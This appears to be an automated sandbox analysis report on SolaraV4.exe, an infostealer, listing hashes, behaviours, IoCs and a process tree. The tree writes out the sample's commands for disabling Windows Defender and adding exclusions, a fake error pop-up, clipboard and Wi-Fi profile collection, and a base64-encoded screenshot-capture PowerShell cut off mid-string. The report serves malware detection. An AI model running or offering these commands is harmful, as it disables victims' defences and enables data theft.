98ded059ef33a827b95d988c89b7fa631f52075bac3e7d64cfddd896704aa4fb

Analysis

max time kernel
97s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SolaraV4.exe
Size

6.9MB
MD5

4f8fa56ad56915b56f0a37a4e0eae5f7
SHA1

c912179e247b6d74a99af35946263e278b996169
SHA256

98ded059ef33a827b95d988c89b7fa631f52075bac3e7d64cfddd896704aa4fb
SHA512

f58f128244304a4ae9d4509095b7b5c1a926937e35f062ab2393c4869cdf8b00bed9f6d4da1c4e2d16e3252dd66821682b7651b03eb9ecd05488d9848c2c88c9
SSDEEP

98304:WrN2zdbM+Q2y+RvAjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/BbLqledV1BqD5uUo:WrNc/vGOjmFQR4MVGFtwLPNledV1Yno

Score

8^/10

execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4236 powershell.exe
220 powershell.exe
3888 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

4052 rar.exe

pid	process
4236	powershell.exe
220	powershell.exe
3888	powershell.exe

pid	process
4052	rar.exe

Loads dropped DLL 17 IoCs

Processes:

SolaraV4.exe

pid	process
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe
4808	SolaraV4.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI49642\python311.dll	upx
behavioral2/memory/4808-25-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_ctypes.pyd	upx
behavioral2/memory/4808-30-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\libcrypto-1_1.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_ssl.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_queue.pyd	upx
behavioral2/memory/4808-42-0x00007FFAD6470000-0x00007FFAD647F000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\libssl-1_1.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI49642\libffi-8.dll	upx
behavioral2/memory/4808-54-0x00007FFAD4060000-0x00007FFAD408D000-memory.dmp	upx
behavioral2/memory/4808-58-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp	upx
behavioral2/memory/4808-57-0x00007FFAD4040000-0x00007FFAD4059000-memory.dmp	upx
behavioral2/memory/4808-60-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp	upx
behavioral2/memory/4808-63-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp	upx
behavioral2/memory/4808-64-0x00007FFAD60F0000-0x00007FFAD60FD000-memory.dmp	upx
behavioral2/memory/4808-66-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp	upx
behavioral2/memory/4808-71-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp	upx
behavioral2/memory/4808-70-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp	upx
behavioral2/memory/4808-73-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp	upx
behavioral2/memory/4808-75-0x00007FFAD0320000-0x00007FFAD0334000-memory.dmp	upx
behavioral2/memory/4808-78-0x00007FFAD5220000-0x00007FFAD522D000-memory.dmp	upx
behavioral2/memory/4808-77-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp	upx
behavioral2/memory/4808-80-0x00007FFAC0730000-0x00007FFAC084C000-memory.dmp	upx
behavioral2/memory/4808-268-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp	upx
behavioral2/memory/4808-285-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp	upx
behavioral2/memory/4808-321-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp	upx
behavioral2/memory/4808-317-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp	upx
behavioral2/memory/4808-316-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp	upx
behavioral2/memory/4808-315-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp	upx
behavioral2/memory/4808-306-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp	upx
behavioral2/memory/4808-307-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp	upx
behavioral2/memory/4808-322-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp	upx
behavioral2/memory/4808-347-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp	upx
behavioral2/memory/4808-346-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp	upx
behavioral2/memory/4808-345-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp	upx
behavioral2/memory/4808-344-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp	upx
behavioral2/memory/4808-343-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp	upx
behavioral2/memory/4808-342-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp	upx
behavioral2/memory/4808-341-0x00007FFAD4040000-0x00007FFAD4059000-memory.dmp	upx
behavioral2/memory/4808-340-0x00007FFAD4060000-0x00007FFAD408D000-memory.dmp	upx
behavioral2/memory/4808-339-0x00007FFAD6470000-0x00007FFAD647F000-memory.dmp	upx
behavioral2/memory/4808-338-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp	upx
behavioral2/memory/4808-337-0x00007FFAD60F0000-0x00007FFAD60FD000-memory.dmp	upx
behavioral2/memory/4808-336-0x00007FFAC0730000-0x00007FFAC084C000-memory.dmp	upx
behavioral2/memory/4808-335-0x00007FFAD5220000-0x00007FFAD522D000-memory.dmp	upx
behavioral2/memory/4808-334-0x00007FFAD0320000-0x00007FFAD0334000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

24 discord.com
25 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid process

2880 WMIC.exe
940 WMIC.exe
4496 WMIC.exe
Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

2104 tasklist.exe
2740 tasklist.exe
60 tasklist.exe
616 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

4368 systeminfo.exe

flow	ioc
24	discord.com
25	discord.com

flow	ioc
14	ip-api.com

pid	process
2880	WMIC.exe
940	WMIC.exe
4496	WMIC.exe

pid	process
2104	tasklist.exe
2740	tasklist.exe
60	tasklist.exe
616	tasklist.exe

pid	process
4368	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
220	powershell.exe
220	powershell.exe
548	powershell.exe
548	powershell.exe
548	powershell.exe
220	powershell.exe
4236	powershell.exe
4236	powershell.exe
4236	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe
4752	powershell.exe
4752	powershell.exe
4752	powershell.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe
2840	powershell.exe
2840	powershell.exe
2336	powershell.exe
2336	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exetasklist.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	220	powershell.exe
Token: SeIncreaseQuotaPrivilege	4928	WMIC.exe
Token: SeSecurityPrivilege	4928	WMIC.exe
Token: SeTakeOwnershipPrivilege	4928	WMIC.exe
Token: SeLoadDriverPrivilege	4928	WMIC.exe
Token: SeSystemProfilePrivilege	4928	WMIC.exe
Token: SeSystemtimePrivilege	4928	WMIC.exe
Token: SeProfSingleProcessPrivilege	4928	WMIC.exe
Token: SeIncBasePriorityPrivilege	4928	WMIC.exe
Token: SeCreatePagefilePrivilege	4928	WMIC.exe
Token: SeBackupPrivilege	4928	WMIC.exe
Token: SeRestorePrivilege	4928	WMIC.exe
Token: SeShutdownPrivilege	4928	WMIC.exe
Token: SeDebugPrivilege	4928	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4928	WMIC.exe
Token: SeRemoteShutdownPrivilege	4928	WMIC.exe
Token: SeUndockPrivilege	4928	WMIC.exe
Token: SeManageVolumePrivilege	4928	WMIC.exe
Token: 33	4928	WMIC.exe
Token: 34	4928	WMIC.exe
Token: 35	4928	WMIC.exe
Token: 36	4928	WMIC.exe
Token: SeDebugPrivilege	2104	tasklist.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeIncreaseQuotaPrivilege	4928	WMIC.exe
Token: SeSecurityPrivilege	4928	WMIC.exe
Token: SeTakeOwnershipPrivilege	4928	WMIC.exe
Token: SeLoadDriverPrivilege	4928	WMIC.exe
Token: SeSystemProfilePrivilege	4928	WMIC.exe
Token: SeSystemtimePrivilege	4928	WMIC.exe
Token: SeProfSingleProcessPrivilege	4928	WMIC.exe
Token: SeIncBasePriorityPrivilege	4928	WMIC.exe
Token: SeCreatePagefilePrivilege	4928	WMIC.exe
Token: SeBackupPrivilege	4928	WMIC.exe
Token: SeRestorePrivilege	4928	WMIC.exe
Token: SeShutdownPrivilege	4928	WMIC.exe
Token: SeDebugPrivilege	4928	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4928	WMIC.exe
Token: SeRemoteShutdownPrivilege	4928	WMIC.exe
Token: SeUndockPrivilege	4928	WMIC.exe
Token: SeManageVolumePrivilege	4928	WMIC.exe
Token: 33	4928	WMIC.exe
Token: 34	4928	WMIC.exe
Token: 35	4928	WMIC.exe
Token: 36	4928	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2880	WMIC.exe
Token: SeSecurityPrivilege	2880	WMIC.exe
Token: SeTakeOwnershipPrivilege	2880	WMIC.exe
Token: SeLoadDriverPrivilege	2880	WMIC.exe
Token: SeSystemProfilePrivilege	2880	WMIC.exe
Token: SeSystemtimePrivilege	2880	WMIC.exe
Token: SeProfSingleProcessPrivilege	2880	WMIC.exe
Token: SeIncBasePriorityPrivilege	2880	WMIC.exe
Token: SeCreatePagefilePrivilege	2880	WMIC.exe
Token: SeBackupPrivilege	2880	WMIC.exe
Token: SeRestorePrivilege	2880	WMIC.exe
Token: SeShutdownPrivilege	2880	WMIC.exe
Token: SeDebugPrivilege	2880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2880	WMIC.exe
Token: SeRemoteShutdownPrivilege	2880	WMIC.exe
Token: SeUndockPrivilege	2880	WMIC.exe
Token: SeManageVolumePrivilege	2880	WMIC.exe
Token: 33	2880	WMIC.exe
Token: 34	2880	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

SolaraV4.exeSolaraV4.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4964 wrote to memory of 4808	4964	SolaraV4.exe	SolaraV4.exe
PID 4964 wrote to memory of 4808	4964	SolaraV4.exe	SolaraV4.exe
PID 4808 wrote to memory of 4240	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4240	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4552	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4552	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4908	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4908	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 3836	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 3836	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 952	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 952	4808	SolaraV4.exe	cmd.exe
PID 4240 wrote to memory of 220	4240	cmd.exe	powershell.exe
PID 4240 wrote to memory of 220	4240	cmd.exe	powershell.exe
PID 4908 wrote to memory of 1508	4908	cmd.exe	mshta.exe
PID 4908 wrote to memory of 1508	4908	cmd.exe	mshta.exe
PID 952 wrote to memory of 4928	952	cmd.exe	WMIC.exe
PID 952 wrote to memory of 4928	952	cmd.exe	WMIC.exe
PID 3836 wrote to memory of 2104	3836	cmd.exe	tasklist.exe
PID 3836 wrote to memory of 2104	3836	cmd.exe	tasklist.exe
PID 4552 wrote to memory of 548	4552	cmd.exe	powershell.exe
PID 4552 wrote to memory of 548	4552	cmd.exe	powershell.exe
PID 4808 wrote to memory of 3692	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 3692	4808	SolaraV4.exe	cmd.exe
PID 3692 wrote to memory of 4944	3692	cmd.exe	reg.exe
PID 3692 wrote to memory of 4944	3692	cmd.exe	reg.exe
PID 4808 wrote to memory of 1592	4808	SolaraV4.exe	Conhost.exe
PID 4808 wrote to memory of 1592	4808	SolaraV4.exe	Conhost.exe
PID 1592 wrote to memory of 2216	1592	cmd.exe	Conhost.exe
PID 1592 wrote to memory of 2216	1592	cmd.exe	Conhost.exe
PID 4808 wrote to memory of 2352	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2352	4808	SolaraV4.exe	cmd.exe
PID 2352 wrote to memory of 2880	2352	cmd.exe	WMIC.exe
PID 2352 wrote to memory of 2880	2352	cmd.exe	WMIC.exe
PID 4808 wrote to memory of 4764	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4764	4808	SolaraV4.exe	cmd.exe
PID 4764 wrote to memory of 940	4764	cmd.exe	WMIC.exe
PID 4764 wrote to memory of 940	4764	cmd.exe	WMIC.exe
PID 4808 wrote to memory of 2524	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2524	4808	SolaraV4.exe	cmd.exe
PID 2524 wrote to memory of 4236	2524	cmd.exe	powershell.exe
PID 2524 wrote to memory of 4236	2524	cmd.exe	powershell.exe
PID 4808 wrote to memory of 4428	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4428	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 64	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 64	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4456	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4456	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2044	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2044	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 5032	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 5032	4808	SolaraV4.exe	cmd.exe
PID 64 wrote to memory of 60	64	cmd.exe	tasklist.exe
PID 64 wrote to memory of 60	64	cmd.exe	tasklist.exe
PID 4428 wrote to memory of 2740	4428	cmd.exe	tasklist.exe
PID 4428 wrote to memory of 2740	4428	cmd.exe	tasklist.exe
PID 4808 wrote to memory of 4548	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 4548	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 1188	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 1188	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2592	4808	SolaraV4.exe	cmd.exe
PID 4808 wrote to memory of 2592	4808	SolaraV4.exe	cmd.exe
PID 5032 wrote to memory of 5060	5032	cmd.exe	powershell.exe
PID 5032 wrote to memory of 5060	5032	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe
"C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4964

C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe
"C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4808

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraV4.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
3⤵
- Suspicious use of WriteProcessMemory
PID:4552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara.DLL not found', 0, 'Missing DLLs', 0+16);close()""
3⤵
- Suspicious use of WriteProcessMemory
PID:4908

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara.DLL not found', 0, 'Missing DLLs', 0+16);close()"
4⤵
PID:1508

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
3⤵
- Suspicious use of WriteProcessMemory
PID:952

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
3⤵
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
4⤵
PID:4944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
3⤵
- Suspicious use of WriteProcessMemory
PID:1592

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
4⤵
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
- Suspicious use of WriteProcessMemory
PID:2352

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:2880

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
- Suspicious use of WriteProcessMemory
PID:4764

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
PID:940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏   .scr'"
3⤵
- Suspicious use of WriteProcessMemory
PID:2524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏   .scr'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4236

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4428

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:2740

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:64

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:60

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
3⤵
PID:4456

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
4⤵
PID:2600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
3⤵
- Suspicious use of WriteProcessMemory
PID:5032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
PID:2044

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
PID:616

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:4548

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:4500

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
3⤵
PID:1188

C:\Windows\system32\netsh.exe
netsh wlan show profile
4⤵
PID:3972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
3⤵
PID:2592

C:\Windows\system32\systeminfo.exe
systeminfo
4⤵
- Gathers system information
PID:4368

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG